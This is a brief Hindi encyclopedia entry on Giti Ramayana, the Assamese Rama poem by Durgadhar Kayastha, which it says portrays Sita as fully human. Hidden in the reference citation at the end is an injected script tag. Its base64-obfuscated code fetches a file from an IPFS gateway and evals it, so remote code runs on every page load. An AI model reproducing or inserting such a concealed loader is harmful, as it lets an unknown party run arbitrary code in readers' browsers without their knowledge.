गीति रामायण

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गीति रामायण असमिया भाषा का प्रसिद्ध रामकाव्य है, जिसकी रचना दुर्गाधर कायस्थ ने की है। इसकी विशेषता यह है कि इसमें राम और सीता दैवी न होकर पूर्णत: मानवीय हैं।

  • गीति रामायण की विशेषता यह है कि इसमें सीता को देवी के रूप में नहीं दर्शाया गया है। वे पूरी तरह से मानवी हैं। कवि ने उनके चित्रण में मानवीय आशा-निराशा, विचार और विकार सबका बड़ा मार्मिक चित्रण किया है।[1]
  • इस रामायण को असम में गान पद्धति से गाया जाता है।


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टीका टिप्पणी और संदर्भ

  1. भारतीय संस्कृति कोश |लेखक: लीलाधर शर्मा 'पर्वतीय' |प्रकाशक: राजपाल एंड सन्ज, मदरसा रोड, कश्मीरी गेट, दिल्ली |संकलन: भारतकोश पुस्तकालय |पृष्ठ संख्या: 283 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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